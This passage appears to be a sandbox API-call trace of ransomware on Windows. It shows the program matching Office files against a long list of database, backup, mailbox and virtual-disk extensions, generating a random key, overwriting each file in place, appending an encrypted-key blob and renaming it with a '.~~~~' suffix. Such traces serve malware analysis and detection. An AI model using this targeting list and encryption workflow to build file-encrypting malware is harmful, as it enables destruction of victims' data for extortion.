	[0147.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".MYD") returned 0x0
	[0147.140] lstrlenW (lpString=".DBT") returned 4
	[0147.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".DBT") returned 0x0
	[0147.140] lstrlenW (lpString=".ACCDB") returned 6
	[0147.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".ACCDB") returned 0x0
	[0147.140] lstrlenW (lpString=".fdb") returned 4
	[0147.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".fdb") returned 0x0
	[0147.140] lstrlenW (lpString=".bak") returned 4
	[0147.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".bak") returned 0x0
	[0147.140] lstrlenW (lpString=".myd") returned 4
	[0147.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".myd") returned 0x0
	[0147.140] lstrlenW (lpString=".DTXS") returned 5
	[0147.140] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".DTXS") returned 0x0
	[0147.141] lstrlenW (lpString=".ckp") returned 4
	[0147.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".ckp") returned 0x0
	[0147.141] lstrlenW (lpString=".dbt") returned 4
	[0147.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".dbt") returned 0x0
	[0147.141] lstrlenW (lpString=".db") returned 3
	[0147.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".db") returned 0x0
	[0147.141] lstrlenW (lpString=".TXT") returned 4
	[0147.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".TXT") returned 0x0
	[0147.141] lstrlenW (lpString=".MDF") returned 4
	[0147.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".MDF") returned 0x0
	[0147.141] lstrlenW (lpString=".bdb") returned 4
	[0147.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".bdb") returned 0x0
	[0147.141] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0147.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0147.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0147.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0147.141] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x29085c0) returned 1
	[0147.142] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0147.142] CryptReleaseContext (hProv=0x29085c0, dwFlags=0x0) returned 1
	[0147.143] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0147.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0147.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0147.143] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26713511179) returned 1
	[0147.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xc11b83f0, dwHighDateTime=0x1d60e1e)) 
	[0147.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0147.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0147.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0147.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28d20f8
	[0147.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0147.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d20f8 | out: hHeap=0x300000) returned 1
	[0147.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0147.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0147.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0147.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0147.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870be8
	[0147.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0147.146] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0147.146] GetLastError () returned 0x0
	[0147.147] GetLastError () returned 0x0
	[0147.147] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0147.147] GetLastError () returned 0x0
	[0147.148] GetLastError () returned 0x0
	[0147.148] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0147.152] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.153] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0147.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0147.154] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.154] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0147.156] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0147.156] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0147.156] CloseHandle (hObject=0x104) returned 1
	[0147.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x29085c0
	[0147.157] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll.~~~~")) returned 1
	[0147.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29085c0 | out: hHeap=0x300000) returned 1
	[0147.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0147.160] GetLastError () returned 0x0
	[0147.160] RtlWakeConditionVariable () returned 0x0
	[0147.160] GetCurrentThreadId () returned 0x3a4
	[0147.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".scr") returned 0x0
	[0147.160] lstrlenW (lpString=".cmd") returned 4
	[0147.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".cmd") returned 0x0
	[0147.160] lstrlenW (lpString=".dll") returned 4
	[0147.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".dll") returned 0x0
	[0147.160] lstrlenW (lpString=".bat") returned 4
	[0147.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".bat") returned 0x0
	[0147.160] lstrlenW (lpString=".cpl") returned 4
	[0147.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".cpl") returned 0x0
	[0147.160] lstrlenW (lpString=".sys") returned 4
	[0147.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".sys") returned 0x0
	[0147.161] lstrlenW (lpString=".msc") returned 4
	[0147.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".msc") returned 0x0
	[0147.161] lstrlenW (lpString=".com") returned 4
	[0147.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".com") returned 0x0
	[0147.161] lstrlenW (lpString=".lnk") returned 4
	[0147.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".lnk") returned 0x0
	[0147.161] lstrlenW (lpString=".msp") returned 4
	[0147.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".msp") returned 0x0
	[0147.161] lstrlenW (lpString=".pif") returned 4
	[0147.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".pif") returned 0x0
	[0147.161] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0147.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0147.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\accolk.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0147.165] lstrlenW (lpString=".sqb") returned 4
	[0147.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".sqb") returned 0x0
	[0147.165] lstrlenW (lpString=".ost") returned 4
	[0147.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".ost") returned 0x0
	[0147.165] lstrlenW (lpString=".txt") returned 4
	[0147.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".txt") returned 0x0
	[0147.165] lstrlenW (lpString=".mdt") returned 4
	[0147.165] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".mdt") returned 0x0
	[0147.166] lstrlenW (lpString=".BDB") returned 4
	[0147.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".BDB") returned 0x0
	[0147.166] lstrlenW (lpString=".eql") returned 4
	[0147.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".eql") returned 0x0
	[0147.166] lstrlenW (lpString=".DBF") returned 4
	[0147.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".DBF") returned 0x0
	[0147.166] lstrlenW (lpString=".EQL") returned 4
	[0147.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".EQL") returned 0x0
	[0147.166] lstrlenW (lpString=".FDB") returned 4
	[0147.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".FDB") returned 0x0
	[0147.166] lstrlenW (lpString=".EDB") returned 4
	[0147.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".EDB") returned 0x0
	[0147.166] lstrlenW (lpString=".DACPAC") returned 7
	[0147.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".DACPAC") returned 0x0
	[0147.166] lstrlenW (lpString=".VHD") returned 4
	[0147.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".VHD") returned 0x0
	[0147.166] lstrlenW (lpString=".DBV") returned 4
	[0147.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".DBV") returned 0x0
	[0147.166] lstrlenW (lpString=".dacpac") returned 7
	[0147.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".dacpac") returned 0x0
	[0147.166] lstrlenW (lpString=".sdf") returned 4
	[0147.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".sdf") returned 0x0
	[0147.166] lstrlenW (lpString=".accdb") returned 6
	[0147.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".accdb") returned 0x0
	[0147.166] lstrlenW (lpString=".DBX") returned 4
	[0147.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".DBX") returned 0x0
	[0147.167] lstrlenW (lpString=".MDT") returned 4
	[0147.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".MDT") returned 0x0
	[0147.167] lstrlenW (lpString=".SQB") returned 4
	[0147.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".SQB") returned 0x0
	[0147.167] lstrlenW (lpString=".vhd") returned 4
	[0147.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".vhd") returned 0x0
	[0147.167] lstrlenW (lpString=".bac") returned 4
	[0147.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".bac") returned 0x0
	[0147.167] lstrlenW (lpString=".mdf") returned 4
	[0147.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".mdf") returned 0x0
	[0147.167] lstrlenW (lpString=".BAK") returned 4
	[0147.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".BAK") returned 0x0
	[0147.167] lstrlenW (lpString=".BAC") returned 4
	[0147.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".BAC") returned 0x0
	[0147.167] lstrlenW (lpString=".dbs") returned 4
	[0147.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".dbs") returned 0x0
	[0147.167] lstrlenW (lpString=".vhdx") returned 5
	[0147.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".vhdx") returned 0x0
	[0147.167] lstrlenW (lpString=".NDF") returned 4
	[0147.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".NDF") returned 0x0
	[0147.167] lstrlenW (lpString=".dat") returned 4
	[0147.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".dat") returned 0x0
	[0147.167] lstrlenW (lpString=".DBS") returned 4
	[0147.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".DBS") returned 0x0
	[0147.167] lstrlenW (lpString=".CKP") returned 4
	[0147.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".CKP") returned 0x0
	[0147.167] lstrlenW (lpString=".edb") returned 4
	[0147.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".edb") returned 0x0
	[0147.168] lstrlenW (lpString=".PST") returned 4
	[0147.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".PST") returned 0x0
	[0147.168] lstrlenW (lpString=".dbf") returned 4
	[0147.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".dbf") returned 0x0
	[0147.168] lstrlenW (lpString=".SQL") returned 4
	[0147.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".SQL") returned 0x0
	[0147.168] lstrlenW (lpString=".pst") returned 4
	[0147.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".pst") returned 0x0
	[0147.168] lstrlenW (lpString=".dbv") returned 4
	[0147.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".dbv") returned 0x0
	[0147.168] lstrlenW (lpString=".SDF") returned 4
	[0147.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".SDF") returned 0x0
	[0147.168] lstrlenW (lpString=".dtxs") returned 5
	[0147.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".dtxs") returned 0x0
	[0147.168] lstrlenW (lpString=".db3") returned 4
	[0147.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".db3") returned 0x0
	[0147.168] lstrlenW (lpString=".OST") returned 4
	[0147.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".OST") returned 0x0
	[0147.168] lstrlenW (lpString=".dbx") returned 4
	[0147.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".dbx") returned 0x0
	[0147.168] lstrlenW (lpString=".DB3") returned 4
	[0147.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".DB3") returned 0x0
	[0147.168] lstrlenW (lpString=".DAT") returned 4
	[0147.168] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".DAT") returned 0x0
	[0147.168] lstrlenW (lpString=".VHDX") returned 5
	[0147.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".VHDX") returned 0x0
	[0147.169] lstrlenW (lpString=".ndf") returned 4
	[0147.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".ndf") returned 0x0
	[0147.169] lstrlenW (lpString=".DB") returned 3
	[0147.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".DB") returned 0x0
	[0147.169] lstrlenW (lpString=".sql") returned 4
	[0147.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".sql") returned 0x0
	[0147.169] lstrlenW (lpString=".MYD") returned 4
	[0147.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".MYD") returned 0x0
	[0147.169] lstrlenW (lpString=".DBT") returned 4
	[0147.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".DBT") returned 0x0
	[0147.169] lstrlenW (lpString=".ACCDB") returned 6
	[0147.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".ACCDB") returned 0x0
	[0147.169] lstrlenW (lpString=".fdb") returned 4
	[0147.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".fdb") returned 0x0
	[0147.169] lstrlenW (lpString=".bak") returned 4
	[0147.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".bak") returned 0x0
	[0147.169] lstrlenW (lpString=".myd") returned 4
	[0147.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".myd") returned 0x0
	[0147.169] lstrlenW (lpString=".DTXS") returned 5
	[0147.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".DTXS") returned 0x0
	[0147.169] lstrlenW (lpString=".ckp") returned 4
	[0147.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".ckp") returned 0x0
	[0147.169] lstrlenW (lpString=".dbt") returned 4
	[0147.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".dbt") returned 0x0
	[0147.169] lstrlenW (lpString=".db") returned 3
	[0147.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".db") returned 0x0
	[0147.170] lstrlenW (lpString=".TXT") returned 4
	[0147.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".TXT") returned 0x0
	[0147.170] lstrlenW (lpString=".MDF") returned 4
	[0147.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".MDF") returned 0x0
	[0147.170] lstrlenW (lpString=".bdb") returned 4
	[0147.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".bdb") returned 0x0
	[0147.170] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0147.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0147.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0147.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0147.170] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x396598) returned 1
	[0147.171] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0147.171] CryptReleaseContext (hProv=0x396598, dwFlags=0x0) returned 1
	[0147.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0147.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0147.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0147.172] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26716182550) returned 1
	[0147.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xc12046b0, dwHighDateTime=0x1d60e1e)) 
	[0147.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0147.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0147.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0147.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28d20f8
	[0147.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0147.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d20f8 | out: hHeap=0x300000) returned 1
	[0147.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0147.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0147.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0147.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0147.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8858
	[0147.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0147.173] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
